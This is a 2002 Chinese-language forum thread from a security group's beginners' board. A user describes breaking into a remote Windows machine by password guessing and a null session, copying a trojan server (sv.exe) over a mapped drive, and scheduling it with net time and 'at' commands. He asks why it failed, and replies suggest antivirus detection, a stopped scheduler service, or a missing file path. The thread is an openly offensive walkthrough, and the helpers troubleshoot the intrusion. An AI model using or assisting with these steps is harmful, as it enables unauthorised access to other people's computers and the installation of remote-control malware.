20CN网络安全小组论坛 - 菜鸟乐园 - 问一个既老又菜的问题

论坛: 菜鸟乐园标题: 问一个既老又菜的问题

作者: lhy20282 [lhy20282]

论坛用户

我为什么用AT命令就是起动不了远程程序?
下面是我步骤:
1.探测密码,建立空连接.
2.映射网络驱动器,在图形界面下COPY木马服务端sv.exe(因为我比较懒,不喜欢打命令).
3.net time \\x.x.x.x
  \\x.x.x.x 的当前时间是 2002/7/3 下午03:38
  命令成功完成.
4.at \\x.x.x.x 15:45 sv.exe
新加了一项作业,其作业ID-1
我等到海枯石烂它也没运行起来.
可能有人问,你怎么就知道没运行起来.  有两点:
1.设置的运行后自动删除原程序.结果原程序还在.
2.当然就是客户端连不上了.
请各位给看看我到底什么地方出错了.

地主发表时间: 07/03 17:23

回复: ricky [ricky]

版主

两种情况：
1，你使用的木马上了病毒库，它的系统安装了反病毒软件
2，它的定时运行服务未开

B1层发表时间: 07/03 19:01

回复: dhm [danghuamin]

论坛用户

定时服务未开怎么会有“命令成功完成”呢？
若他的木马上了病毒库为什么系统不删除这个服务端程序呢？还让他逍遥的在那里待着呀。

你把sv.exe拷到哪里去啦？在执行at时，给sv.exe加上路径试试

B2层发表时间: 07/03 20:30

回复: ricky [ricky]

版主

不好意思，没有仔细看，哈哈

B3层发表时间: 07/04 10:01

论坛: 菜鸟乐园